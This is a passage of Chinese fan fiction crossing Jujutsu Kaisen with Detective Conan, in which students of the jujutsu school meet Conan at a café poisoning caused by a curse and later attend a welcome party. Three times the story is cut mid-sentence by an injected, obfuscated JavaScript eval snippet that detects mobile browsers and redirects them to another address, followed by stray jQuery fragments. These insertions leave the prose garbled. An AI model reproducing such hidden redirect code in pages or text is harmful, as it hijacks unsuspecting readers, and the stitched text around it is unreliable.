“不要放在心上。”白川琉世笑嘻嘻地看着他,“对于自己长得有点吓人这点,我是有自知之明的。” 他戴着黑框眼镜,从体型到气势都羸弱的同学笑了。 “不是这样,白川同学非常帅气,只是不笑的时候,看起来太严肃了。” 本来,那种具有压迫感的外形,和微妙的不守规矩的气质,令伊地知十分恐惧。但是接触下来,才明白白川琉世方方面面都表现出“不懂”的感觉来。 性格很纯粹,直来直往,却因为气质不良,不懂复杂的人际交往潜规则,总是游离在人群之外。 但是,在某些地方,又奇异的敏锐。 “你还挺有眼光的嘛。”白川琉世啪叽一下拍上伊地知的肩膀,“那我们可以开始做朋友了吗?” 被大力冲击地晃了晃,伊地知还是大声地回答,“嗯!” “你喜欢喝麦茶吗?” “喜欢。” “还有呢?” “乌龙茶和咖啡。” “我喜欢喝可乐。如果下次你要给我买的话,我要喝可乐。” 伊地知忙不迭地点头,脸颊愉快地泛出红色。白川琉世从口袋里掏着什么东西,“我们先说好,你讨厌什么就直说好了,就算拒绝我我也不会霸凌你的。所以……,”他终于掏出了一张皱巴巴的东西,展开是袋装棒棒糖的包装袋,“可以和我一起去买这种牌子的棒棒糖吗?我不太认识东京的路。” …… 人是不可能只为了买棒棒糖就从山上爬下来,再坐20分钟的新干线的。 两人都背了书包,白川琉世很容易就找到了同品牌的棒棒糖,每种口味都买了一袋,又拿了两袋混合口味的。 “白川同学很喜欢吃这个吗?”伊地知问。 “也不是,虽然这个很好吃,但我是咸党。是五条前辈,上次吃光了他一袋棒棒糖,要赔给他。” “五条前辈?总觉得他看起来不太好接近的样子。” “是吧,因为长得太好看了,我也没什么勇气和他说话。” “诶?是这个原因吗?” 白川琉世认真点头,“五条前辈是学生会主席吗?他一定是女生都特别喜欢的类型吧,走到哪都有后援团尖叫。如果说他能依靠打网球打死咒灵,我也是毫不惊讶的!” “……我们学校没有学生会,而且,全校只有家入前辈一个女生,她看到五条前辈,是不会尖叫的。”槽点太多,不知从何吐起。 “那就是咒术界的王子。”白川琉世开始脑内小剧场。 “这种说法应该不算夸张。”伊地知对五条悟在咒术界的地位略有耳闻,“白川同学,你很崇拜五条前辈吗?” “当然,那可是一看就是漫画男二的配置。” “诶?为什么不是男主?” “男主比较流行热血笨蛋啦。” 很懂漫画的样子啊,白川同学。 反正来都来了,两人在市中心逛了一会,买了点日用品,打算回学校。这时,白川琉世和伊地知都收到了同一条邮件,发件人是五条悟。 “晚上八点,银座四丁目的月见居酒屋,举办超隆重的新生欢迎会,七海也必须到哦。(欢呼)(欢呼)” 是聚会!超级期待! “我还是第一次参加同学聚会,要带点什么去吗,要带酒吗?” “我们还是未成年,不能喝酒。”伊地知苦笑,“其实我也是第一次参加同学聚会,地点在居酒屋好像有点奇怪,那是上班族去的地方吧。” “地点在居酒屋,一定有他的道理,搞不好是五条前辈酒量很好呢。” 不知道为什么,伊地知对即将到来的聚会有些担心。 现在是7点,时间还早,不必现在就去聚会的地点,白川琉世拉着伊地知在银座闲逛,虽然没有规定一个人不能逛街,但通常走两步就会感到无聊,有同伴的话,就算对着什么也不懂的女装店铺也能点评一二。 “这个很适合家入前辈。”白川琉世指着女装店橱窗的一个直筒短裙对伊地知说,“包好看的。我一看到家入前辈,就知道直筒短裙一定是她的命定风格。” “我不太懂这些。”伊地知推了推眼镜,思考了一下就放弃了,“你要给前辈买吗?” “当然不会了,又不是男朋友。在社交礼仪这方面,我也算是很懂啦。” 真的很懂吗。伊地知看着身旁笑得很自信的人,无奈地笑了,不明白自己为什么会觉得他可怕。 他们一路闲逛着向四丁目走去,各家店铺都陆续亮起了招牌和彩灯,银座无论什么时候都纸醉金迷、格外繁华。 白川琉世看到一家咖啡店外围着很多人,还很有兴致去看看到底是在举行什么活动。刚凑过去,就看到警察在疏散人群。 “听说死人了。”“是杀人案吗?”“不清楚,但是警察都来了,是谋杀案吧。” “我们还是不要过去了吧。”听到周围人小声谈论的内容,伊地知担忧地说。 白川琉世只是面色凝重,摇了摇头,他一做出这样的表情,还是挺吓人的,伊地知不敢打扰。几个呼吸后,白川琉世小声对伊地知说,“我闻到了咒灵的臭味,就在里面。你先去月见居酒屋,我进去看看。” 稀血带来的唯一好处,就是令白川琉世也能闻到咒灵的味道,只是不会是什么好气味。 他把伊地知往人群外推了下,却遭到了拒绝,“我也一起去。” “不用担心,我自己也能解决。不过,你想跟就跟过来吧。” “喂,你们两位,这里封锁了,请到别的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325624|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方去吧。” “警官,我有……。”白川琉世开口,忽然瞥见封锁线里,靠近门口的地方站着一个熟悉的身影。 并不是说人熟悉,事实上,白川琉世更眼熟那身衣服,他和伊地知目前都在穿的咒高校服。顺便一提,因为能自由更改校服的款式,白川琉世兴奋过度,苦于想法过多,最后还是只选了基础款。 是个不认识的少年,穿着咒高的校服。金色的短发,少见的黄绿色眼睛,好像混血,正一脸百无聊赖的站在那。 “喂!”白川琉世突然拔高声音,“是七海吗?” 咒高的六个学生里,只有七海是他没见过的了,那么显而易见,这就是比他更悲惨的唯一一个二年级生。 金发少年吃惊地望过来,“你们……。” “白川琉世。本来一会就能在聚会上见面,但是,这里好像遇到了麻烦。” “啊。”七海一副忍耐什么的表情,“确实有麻烦,不过你们还是一年级新生吧,不用你们插手。” “两位少年,你们是他的同学吗?”咖啡馆内部匆匆走来一个警员,把玻璃门打开,看了他们的衣服一眼,允许他们进入了咖啡馆,“我们想联系这位七海同学的父母,但是他始终不配合,既然你们是一个学校的,那么打电话给他的班主任应该可以吧。” “为什么?他杀人了?”白川琉世震惊地看向七海,这个前辈应该是叫七海建人吧,看起来也是纤细的类型,真是人不可貌相。 “只是嫌疑人。”七海解释道,看到新生的表情,心情更加郁闷了。 厚重的玻璃门在身后关上,隔绝了外面大部分声音。这是家装修温馨的咖啡馆,店面不大,一共八个桌子,小小的空间里挤了三个警察,两个穿着侍应生服饰的女孩,仰躺在座位上的死者,和暂时被勒令坐在原位置的顾客们。不过也有例外,案件的三个嫌疑人站在警察附近,接受着盘问。一个留着八字胡的大叔,好像地位不凡,正询问警察各种事项。还有大叔旁边的少女,以及被她牵着手的,戴着眼镜和红色领结的小孩子。 白川琉世一进来就吸引了所有人的目光,不过也只有一瞬,在警员询问了是否可以打电话给他们的老师后,白川琉世同意了。 “不过,我想先了解情况,再打电话给老师,如果说不清楚的话,大概会被老师骂一顿,然后老师也不会来吧。” 由于他们两个是路过临时加入的,为首的警官允许七海向两人简单说明情况。 “是那个吧。”三个人来到一个角落里,白川琉世看了眼尸体的方向,小声地说,“我看到残秽了。” “所以说没有凶手,是咒灵做的吗?”伊地知声音压得更低。 七海点点头,“麻烦的是,明知道是咒灵做的,但却没办法向警察解释。” 伊地知:“在科学层面,是不可能结案的,那现在怎么办呢。” 白川琉世:“说起这个,咒灵被祓除了吗?” “这也是我还在这里搜集线索的原因。”七海无奈地捏了捏鼻梁,打开手机,速度极快地按了一会,把手机屏幕给两个人看。 这时候文字比交流更不容易吸引人注意,七海的手机屏幕上显示着: [咒灵疑似寄生在死者身上,未发作时并未感觉咒力异常。 死者死前精神紧张,不知道是否与咒灵有关。 发作后,被寄生者死亡,死状与氰-化钾中毒十分相似。 寄生者死亡后,咒灵从死者口中钻出,迅速寄生在了那个小孩身上,方式为从口部钻入。] …… 小孩现场只有一位,看完内容,三个人的眼神都不由自主往刚才他站的位置飘去。 嗯?人呢? “大哥哥,你们在找什么?” 白川琉世瞳孔地震,猛地往下看,那个比他膝盖没高出多少的小孩正仰着头,眼镜适时地反光了一下,微笑着看着他们。 5. 第 5 章 “小弟弟,凶手还没抓到,这里很危险,别乱跑。”七海冷静地卡着小孩的腋下,把他提溜到那名少女旁边。 “对不起,柯南给你们添麻烦了。”少女慌忙向他们鞠躬,“抱歉,这孩子有点顽劣。” “小兰姐姐!” 白川琉世摸着下巴,仔细打量着这个小孩,没看出来哪里有咒灵寄生的异状。不过,在这个叫柯南的小孩身上,确实闻到了咒灵的臭味。 那就是没错了。 他在看柯南,柯南也在打量他。搜查物证时,已经搜出七海的背包里有把布缠着的短刀,这让所有人都非常惊讶。鉴于死者的死因为中毒,因此并不把这个当指证凶手的证据。不过,七海面对生命时冷漠的态度,和右手的茧子让柯南产生了格外的兴趣。 奇怪的人有着同样奇怪的同学,这个人目测190公分,根据他背上剑袋的形状和下沉弧度,可判断里面并不是木剑,而是真家伙,左右手虎口处都有明显的茧子,右手更甚,只有长期握刀或握枪才能形成。站姿非常挺拔、警惕,眼神坚定敏锐,是经历过多次战斗才能形成的气场。 他们出自同一所学校,那么这所学校到底是培养什么人的?另外一个黑色短发的男生,看起来和常人无异,让柯南又产生了疑惑,或许这所学校,并不是靠战斗能力选取学生的。啊啊,可恶,刚才没听到他们在说什么。 “咳咳,大家久等了,我已经知道凶手是谁了。”八字胡大叔清了清嗓子,“现在就由我,关东地区的名侦探——毛利小五郎揭开凶手丑恶的面纱。” “竟然是侦探,这大叔真不是搞笑艺人吗。”白川琉世悄悄在七海旁边说。 “凶手就是你,”毛利小五郎夸张地挥臂一指,“七海建人!” “啊?我是凶手?”就算是七海这种时候也不能保持冷静了。 伊地知:“真的假的?” 白川琉世:“要认罪吗?” 还有两个神金学弟在旁边。 劳动果然是被诅咒的,就连出任务回来喝杯咖啡也会遇到麻烦。 “首先,我来梳理一下案件过程。经过调查监控,发现死者19:00整突发抽搐,在十秒钟内死亡,面部、指甲呈樱桃红色,周围有轻微苦杏仁味道,绝对没错,这是氰-化钾中毒!” “经过警方的排查,现在确立了3个嫌疑人。嫌疑人1,桥本一树先生,公文包里检查出瓶装的氰-化钾,16:50-17:00之间待在洗手间里,有目击者称其神色紧张。经初步调查,桥本为死者的下属,多次被死者抢走项目成果,有充分作案动机。”被小五郎说到的男人,一身黑色西装,面色愁苦气质萎靡,不停地擦拭额头上的冷汗。 “嫌疑人2,水内由纪小姐,死者竞争对手公司的研发人员。死者曾因掌握其公司偷税漏税的证据,勒索过水内的社长,杀人动机成立。而且,水内外套口袋里有非常明显的苦杏仁味,16:55-16:58离开了座位,自称是去上洗手间。不过,通往洗手间和后厨的唯一一个拐角在监控的盲点,同时,女洗手间和后厨在这三分钟是没有其他人的,因此,水内小姐没有不在场证明。” 穿着西装套装的水内由纪不满地开口,“社长被勒索,关我什么事,公司又不是我家开的。大叔,一看你就没在公司工作过的经历吧。” “我并没有说水内小姐你是凶手。”毛利小五郎胸有成竹地看向七海,“首先,桥本先生包里虽然有一瓶氰-化钾,但并未开封,他在卫生间的十分钟里,有顾客在他身边打电话。监控显示,从进入这家店开始,桥本先生都拥有不在场证明。” 桥本一树非常明显地松了口气,但是,随后又被毛利小五郎质问,“你为什么在包里装一瓶氰-化钾呢?据我所知,你不是在化学行业工作的。” “不会是想下毒,还没机会动手吧。”柯南一脸天真的对桥本一树说。 “这、这是什么意思,谁会在满是监控和陌生人的地方下毒啊!”桥本一树慌忙解释。 “如果没有监控,时机又合适的话,你就会下毒吗?”那个叫柯南的小孩讲话好刁钻,不过,这种思路真是一个小孩拥有的吗?看起来大概六岁还是七岁,在上小学低年级吧。 “小孩子不要乱说话!反正我没有杀害课长,不是我不就可以了吗?”桥本的精神濒临崩溃,滑落在地上,痛哭起来。 “换句话说,就算你想动手,但令你讨厌的上司提前自己死了,你运气也是挺好的。”白川琉世蹲下,拍拍他的肩膀,一只巨大得有些诡异的蝇头在指间消散,“上班族真是太可怕了,七海前辈。” 看到白川琉世轻轻一挥,蝇头就被消灭了,七海有些诧异,这种咒力操作水平,不像刚刚踏入咒术界的新生能做到的。 七海:“不,我认为上班族或许是个不错的选择。” “年轻人,我劝你好自为之。”毛利小五郎义正言辞,“杀人是解决不了问题的,趁着还没有真正犯下错误,洗心革面重新做人吧!” 桥本哭得更大声了,一旁的水内由纪嫌弃地往旁边移了移。 毛利小五郎:“关于水内小姐的嫌疑,虽然没有不在场证明,但她外套口袋里的气味,根本就不是氰-化钾的气味!” 水内由纪:“我都说了,我是做化妆品研发的,不小心把原料放在口袋里,好长时间了才拿出来,根本就不是什么氰-化钾。” 毛利小五郎:“没错,一开始是我们误会了,但当我仔细检查过水内小姐的口袋后,发现口袋干燥,苦杏仁的气味十分大,而且,我们在座的所有人都能闻得到这个气味。” 确认下在场没有人反驳后,毛利小五郎继续说,“氰-化钾遗留的苦杏仁味,根本就不会这么浓郁,如果是在潮湿的环境中,或许会加重味道,但是水内小姐的口袋十分干燥。况且,人群中,大约有20%到40%的人,根本闻不到氰-化钾的苦杏仁味。所以,水内小姐并没有携带氰-化钾。” “说的没错,我根本不认识那个人,他勒索社长的事,我也不清楚,我只是一个研发人员而已,和社长没有那么熟。”水内小姐鼓掌,“不愧是名侦探毛利小五郎。” “啊咧?”柯南一脸黑线地仰头看着毛利,“毛利叔叔连这个都知道啊。” “最近不知道为什么,氰-化钾投毒的案件变得越来越多了,作为名侦探,不懂这些可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325625|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不行啊。” 不想面对毛利小五郎得意的样子,柯南指着七海,“毛利叔叔,为什么说这个大哥哥是凶手呢?” “很简单,因为排除了所有不可能的因素,那么,真相只有一个! 凶手就是你,七海建人!” 七海后退一步,绝望地拿起手机,“我还是给老师打电话吧。” 咒术界有专门和外界联络的部门,处理这种事情非常熟练,他只需要去警局坐一会,很快就会被放出去。 “首先,死者与七海所坐的桌子,B1卡座,是唯一一个被绿植挡住视角的位置。监控里完全看不到七海的动作,只能看到死者。其次,死者与七海的咖啡是一起端上的,这家咖啡店的杯子都一模一样,七海正是利用这点,在自己的杯子里放入氰-化钾,然后误导死者拿了有毒的咖啡。” “我有个问题,”七海说,“我的动机是什么。” 毛利小五郎摸着胡子,对问题毫无头绪,但并不阻止他自信地自我发挥,“这就要你自己坦白了,七海建人,你杀死他的原因是什么?监控中,死者神情呈明显焦躁状态,会不会你们之前认识,只是我们没深入调查。” “不,我不认识他。”七海已经无语到麻木了。 “根据死者的聊天记录显示,很可能是因为工作上的事。”一旁的警察补充。 “确定是氰-化钾致死的吗?”在一旁默不作声的白川琉世,忽然提出一个问题。 “检查试剂上呈现蓝色,确实是氰-化钾无误。”负责检测的警察说。 白川琉世:“七海前辈,你真是怎么都解释不清了。” 伊地知担忧地说,“我们打电话给夜蛾老师吧。” 在毛利小五郎说话的时候,白川琉世已经偷偷溜到死者附近,仔细观察咒力残秽。根据咒灵留下的痕迹,很明显看得出来,是从腹部开始爆发,经由食道从口中脱出。咒灵对普通人本身就是有害的,不同的咒灵具有各种各样的毒素,站在咒术师的角度,这人死于咒灵的毒素,是新手都能看出来的事实。不巧的因素是,毒发的样子太像氰-化钾中毒了,或许干脆就是能释放氰-化钾毒素的咒灵。 如果是那样的话,死者并不是被咖啡毒死的,而是喝咖啡时,体内的毒素把咖啡污染了。 就在白川琉世想找机会询问一下死者的手机和身上携带的物证时,一个比足球也高不了多少的幼小身影,正狗溜溜地往毛利小五郎后面的沙发底下钻去。 嗯?他想干嘛? 众目睽睽之下,所有人好像都瞎了一样,对鬼祟的小孩视而不见。白川好奇他想要干嘛,忽然看到柯南举起手臂,拿手表发射了一枚针状物,直接射入了毛利小五郎的后颈。 啊? 人在极度震惊之下,是会极度震惊的。 这是在干什么?公共场合当场杀人,凶手还是小学生。不对,不会是妖怪变的吧,或者是伪装成小孩的侏儒症杀手。 毛利小五郎轻飘飘地跌坐在沙发上,垂下了头,而柯南则是把佩戴的红色领结摘下来,开口时发出了毛利小五郎的声音。 “刚才我的推断有误,凶手并不是七海建人。” 6. 第 6 章 难道你们没发现声音并不是从毛利小五郎嘴里发出来的吗? 所有人的目光都看向了毛利小五郎,就连那个叫小兰的女孩都没有发现,自己一直牵着的小孩不见了。 “对于桥本先生和水内小姐的推理,并没有错。但是,刚刚我遗漏了重要的一点,那就是氰-化钾的发作时间,最快是15秒,而监控中显示,死者拿起咖啡刚喝了一口,就马上身体不适,突发死亡。也就是说,如果真的氰-化钾中毒,那死者在喝咖啡之前,就已经中毒了!” 嘶。这就是小学生的含金量吗,恐怖如斯。 “那么,死者是什么时候中毒的?”在前面已经严丝闭合的推理中,出现了意外的一点,这种意外让警察也放弃了思考。 毛利小五郎:“因为今天店里只有两个工作人员,厨师和侍应生都非常繁忙,死者和七海进店20分钟后,才被送上自己点的咖啡。20分钟足够氰-化钾发作致人死亡,但这20分钟内,死者并没有口服什么东西的动作,也没有表现出明显的不适。” 警察一边听,一边调查监控,认同了他的说法。 “所以我认为,导致死者中毒的是别的原因,应当从死者进入咖啡馆之前展开调查。而且,死者在咖啡馆等待的时候,神情焦躁,频繁打开手机,这点也不容忽视。” “死者手机里没有和人约见的记录,令他焦虑的,应该是工作上的一个项目安排,截止日期正好为死者身亡的时间。由聊天记录推测,他并没有完成项目计划书,所以才感到焦虑。不过,这和案件应该没有关系吧。”警察也并不是完全听毛利小五郎的,“而且,我们对死者饮用的咖啡进行了检测,确实存在氰-化钾物质。” 毛利小五郎:“用试纸只能进行初步的检测,请进行更详细的检测方法吧。” “那只能先回警局报告了,对饮料中的物质进行详细检测,再着手调查死者的人际关系。”警察有些气馁,但连著名的侦探毛利小五郎都这么说了,这场案子或许没有他想像的那么简单。 登记过所有人的联系方式后,警察让在场的人全都回去了。毛利小五郎摸着后颈站起来,一脸迷糊的样子,听到别人追捧,竟然毫无察觉地哈哈大笑,丝毫不怀疑自己为什么缺失了一段记忆。 柯南费尽周章弄晕毛利小五郎,竟然什么也不做,只是为了把自己的推理结果说出来。白川琉世看到柯南偷偷从沙发底下钻出来,走过去弯腰对他笑了一下。 “小朋友还有两幅面孔呢。” 柯南僵住了,额上浸出冷汗,用力夹着嗓子,“啊哈哈,大哥哥你在说什么,我的领结掉下去了,去捡而已啦。” 他坐在地上,努力仰头看着俯视他的少年,因为逆光,那双金色的眼睛藏在阴影里,充满无机制的冷漠。柯南心如擂鼓,莫名感到一阵恐惧。 会、会杀人的吧,这个人。 “嘘,”白川琉世蹲下,一副好哥哥的样子,摆出笑脸,“我都看到了,有些事要麻烦你配合一下,乖乖配合的话,请你吃糖。” “你看到什么了?”柯南垂死挣扎。 “别装傻。” “好,但是不能是……。” “不是什么坏事,跟我来,不然把你的事告诉搞笑艺人大叔和你的小兰姐姐。” 哈?什么搞笑艺人,这个比喻他喜欢。柯南苦中作乐。 “小兰姐姐,我先去一躺洗手间。” “好,我们等你柯南。” 20:00整洗手间里 跟着那个少年进入洗手间,柯南脚步沉重,对他感到好奇是一回事,真被人威胁又是另一回事了。 不过,好奇心重的天性使他虽然聪明,却生性莽撞,什么人都敢跟踪,也什么事都敢掺和。洗手间的门刚从后面关上,那个男人就解开了剑袋。柯南看着他动作,心砰砰直跳,这种本能的恐惧是无论如何也不能控制的。 “嘴巴里有尝到过苦杏仁味吗?你这个不像小孩的小弟弟。” “苦杏仁味?什么?”柯南被他问的摸不着头脑。 “那就是没有,这样就好办了。” 唰!清脆的拔刀声后,柯南下意识地往后一缩—— 鲜血滴答滴答,落在雪白的瓷砖上。一旁的水管似乎漏水,水流哗哗,安静的环境里,有节奏感的声音击打在他极度紧张的神经上。 那个少年竟然拔刀割伤了自己的手臂。提着刀的右手和鲜血淋漓的左手臂,令柯南拉响了危险警报。 这个人,一定会杀了他的! 一阵恶心的感觉传来,反胃,刚才和小兰一起吃的巧克力蛋糕也全都吐了出来。全身的皮肤像蒙上了湿衣服,但下一秒钟又感到十分轻松。柯南跌坐在地上,一瞬间似乎看到什么遮天蔽日的巨大黑影,眨眼后就又什么都看不到了。 块头还挺大的啊,果然没有咒灵能抗拒他的鲜血佳酿。白川琉世甩了甩左手的血液,眯着眼睛,打量从柯南嘴里吐出来的,一个由无数时钟组成的巨大咒灵。 “deadline,deadline,deadline……重新计时。” deadline?啊,原来是这种咒灵啊。 空气中弥漫着一股淡淡的苦杏仁味。 果然如此,看来他的推断从一开始就没错。 这个咒灵,寄生在被deadline困扰的人身上,如果在deadline时没完成任务,咒灵就会释放毒素,杀死宿主,并寄生下一个人。好在,寄生和离开宿主的身体时,并不会产生毒素,毒素的产生还要具备deadline时未完成任务这点。 这小孩有什么deadline,不会是家庭作业没写完吧。 “你赶紧去漱口,记住不要吞咽唾沫。”为了保险,白川琉世还是把他推到水池旁边,顺便把他脑袋往水管底下一按。 柯南虽然不明白发生了什么,但空气中的苦杏仁味道却让他脑中白光一闪,似乎串联起了什么。眼前的变故,让他没那么紧张了,一边漱口,一边还有闲心盯着白川琉世。 “水之呼吸·五之型·干天的慈雨。” 柯南屏住了呼吸。 少年深吸一口气,压低重心,眼神紧盯前方空白处某点,以无比迅疾的姿态拔剑,突刺至中途时,攻势却变得柔和,一挥之下,极快地落地,收刀。 仿佛上方下起了雨,柯南感觉好像有清凉的雨丝落了下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325626|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。整个房间,连带着他的心情,仿佛被水洗过一般,变得轻松又畅快。 空气中的苦杏仁味消失了,白川琉世向柯南招了招手,“过来吧,没事了。” 还是这招好用,用日呼,不说会不会吓到小孩,等老板进来,看到瓷砖上因为高温烧灼的痕迹……,警察可还没走呢。 “刚才这里是不是有东西?”柯南眼光灼灼地盯着白川琉世,与进来时的不情不愿作对比,反而堵住门口,不让白川琉世出去。 不会吧,这种时候了还看不到咒灵,这孩子的世界观得多科学啊。 白川琉世知道他有一肚子疑问,在“你是什么人?”这种话问出口之前,伸出食指放在唇上,嘘了一声。 “别问,问就是正义的使者。” “啊咧。”柯南眼睛弯成月牙状,眼神在白川琉世的校服上打量,“无所谓,别小看我,我会自己调查的。” “你真的是小孩吗?”白川琉世蹲在他面前,依旧能俯视这个小鼻嘎,但是,鉴于柯南没有做什么坏事,他也懒得管那么多,“算了,搞不好是什么吃错药身体变小的精力旺盛青少年。” 柯南:“……。”这个人好强的第六感。 “你真的要堵住我吗?其实我正常走过去就OK的,只是会跨过你头顶,我想小孩也是有自尊心的吧,别利用我的好心威胁我。” 白川琉世蹲在那里,手臂的伤口没有止血,血珠滴滴答答往下落,在地砖上形成越来越大的一滩,也懒得去管。 两个人双目对视,从对方的眼中看出了秘密的味道。 “好吧,一会就说房间的水管漏了,你去修理,才耽搁了这么久。”柯南不再坚持,“还有你的伤口,要怎么办。” “没事,我修水管割的,谁叫我好心呢。”白川琉世从背包里掏了掏,摸出一袋棒棒糖,塞到柯南怀里,“行了吧?” 柯南满头黑线,他又不是想吃糖才拦住这个人的。但是,看着对方不断流血的伤口,他还是果断让开了,“不管怎么说,还是谢谢你救了我。” “你能明白这点我真是太感动了。” 柯南弯弯眼睛,跑出去叫着小兰姐姐,“洗手间的水管坏了,大哥哥修好了,手臂还被划伤了呢。” 不知道为什么,听柯南夹着嗓子说话,他就有股莫名的火大。好像看到大叔挤出萝莉音欺骗纯情少年,白川琉世莫名担心那个叫小兰的女孩。 “诶?受伤了?”小兰担心地走上前,“您没事吧,要赶快止血才行。” “我们店里有药箱,请等我一下。”做侍应生的女孩也急忙走向仓库。 店里的人已经走光了,因为遇到凶杀案,咖啡馆也准备马上打烊。目前,这里只剩毛利他们三人和七海、伊地知。七海用眼神投来询问的意思,白川琉世知道他想问什么,竖起拇指指向自己,“解决了。” 七海又看向柯南。 “懂你的意思前辈,没事,他什么也没看见。就算小孩乱说什么,大家也会当胡言乱语吧。” 从白川琉世去洗手间,到出来,也不过十分钟。遇到这么靠谱的后辈,七海不由得肃然起敬。 高专的未来,不是一片黑暗了! 7. 第 7 章 本来以为迟到了会扣印象分,到了之后才发现,包厢里只有夏油杰和家入硝子。 “不得了。”白川琉世从光滑锃亮的地面上滑过去,“我还没来过这么高级的地方。” 包厢很大,天花板吊着水晶灯,地板光可鉴人,餐桌对面还有一台电视,比起高中生聚餐,更像是成年人谈生意的地方。 “没关系,是悟请客。”夏油杰对学弟们露出微笑。 “五条前辈很有钱吗?”白川琉世坐在了夏油杰旁边,伊地知也连忙挨着他坐下了,七海看了看,坐在了家入硝子旁边。 家入硝子:“超有钱的大少爷呢。” 夏油杰:“而且是被宠坏的独生子。” 七海建人:“他的宿舍都比我们大三倍,你没发现吗?” “啊?五条前辈的宿舍在哪。”白川琉世震惊,“为什么比我们大三倍。” “因为他家把隔壁两个宿舍的墙面打通了。”七海撕开一包零食,“二楼是二三年级的宿舍,你应该是住在三楼吧。” 五条悟是有钱人家的少爷,这点有些让人意外,想想却又觉得非常合理。只有集万千宠爱于一身的人,才能养成那种活泼张扬的性格。 白川琉世把书包和剑袋放下,“五条前辈呢?去洗手间了吗?啊,我告诉你们,刚刚发生了超有意思的事。” “这家伙迟到了,别在意,对他来说是常有的事。”夏油杰打着桌上的电话,“我们先点菜吧。” “什么事,白川?”家入硝子开了瓶烧酒,“有意思的话正好拿来下酒。” “我们是未成年吧……。”伊地知小声地劝阻,但在场并没有人听到。 “那种事就不用说了吧。”七海的脸色变得尴尬起来。 …… “哈哈哈哈哈哈。” 家入硝子,一款盐系美少女,冷淡、矜持,年纪轻轻就有社畜的疲惫感,当一瓶烧酒下肚时,也像个大叔一样不修边幅地发酒疯。 “家入前辈!”疯狂躲避往他身上靠的家入硝子。 “所以真相是,死者在喝咖啡的时候,正好毒发,氰-化钾是从死者的口中污染了咖啡的。”夏油杰的眼角也笑出了泪,“好倒霉啊,七海。” “好倒霉啊,娜娜米。” “不要叫我娜娜米,白川!” …… “你喝了两瓶了,家入前辈。”七海按住家入的胳膊。 “放心吧,我酒品很好的。” “如果你的酒品好是指回去的时候要我背你。”七海郑重地指着自己,“也要考虑下我的心情啊。” “没关系,我背家入前辈回去。”白川琉世呲溜喝光小酒杯里的烧酒,“再来一杯!” “你也喝了不少!”七海崩溃地说,“夏油前辈,不要再给他倒了。” “没关系,白川一点也没醉。”夏油杰久违地一扫眼底的阴霾,姿态放松地倚在沙发上,为白川琉世一杯杯倒酒。 “什么嘛,没什么特别的感觉啊。”白川琉世呲溜又喝了一小杯,"闻起来很香,喝进去就只剩辣了。" “白川同学,让夏油前辈给你倒酒没关系吗?”拥有在正常人类社会生活经验的伊地知,担忧地说。 “没关系没关系,”夏油杰很有兴致,“我也好久没那么开心了。” …… “所以说,这是你第一次喝酒?” 看着眼前整齐排列的十个烧酒瓶子,脸颊泛着红晕的家入硝子,陷入沉思。 她本身已经是个千杯不醉的酒豪了,没想到白川琉世更是一点醉意也没有,他的潜意识里根本没想到自己会醉吗? 她和白川琉世各喝了五瓶,还是伊地知把酒水单给白川看,白川被一瓶两万日元的价格惊吓到,说什么都不肯再喝了。 “家入前辈,我们喝了五条前辈二十万!” “喝了二十万不是浪费,最浪费的是你一点都没有醉意。”家入硝子很可惜地看着他,“不管是微醺还是大醉,都是酒精的恩赐啊。” “可是我很难想像自己喝醉的样子。”白川琉世躺在夏油杰旁边,“如果喝醉了,遇到咒灵该怎么办。” “进入咒术界的繁忙期了,硝子最近压力有点大。”夏油杰只是把灯光调暗了一点,“遇到咒灵的话,不是还有我呢。硝子,你先睡吧,我们等悟就可以。” 棕色头发的少女倒在沙发上,缩成小小一团,在几个男生外套的包围下睡着了。 大家都吃饱喝足了,桌面上的只剩残羹冷炙,只有白川琉世还在拿着饭团嚼嚼嚼,“夏油前辈,五条前辈是有什么急事吗?” “悟临时有任务。嘛,经常发生这样的情况,很多任务只有他去是最合适的。” “晚饭也没吃就去了吗?”白川琉世放下饭团。 “大概会在车上随便吃点,悟经常这样,三餐很少能正常吃。” “咒术师这么忙吗?可是五条前辈还是学生啊,也不差钱吧。”白川琉世看着沙发上东倒西歪的咒高同学,“为什么要下发那么多任务给五条前辈。” “因为他是最强……。”夏油杰怔了一下,下面的话怎么也说不出来了。因为五条悟是最强,因为五条悟在最强的同时,还拥有反转术式,完全是一个好用并且自我修复功能强大的完美工具,所以咒术总监部会下发多到离谱的任务给他,多到一个未成年人不能按时吃三餐,每天睡不够五个小时,并且不按照就近地域选派咒术师出任务的规则,让他天南海北地赶路。 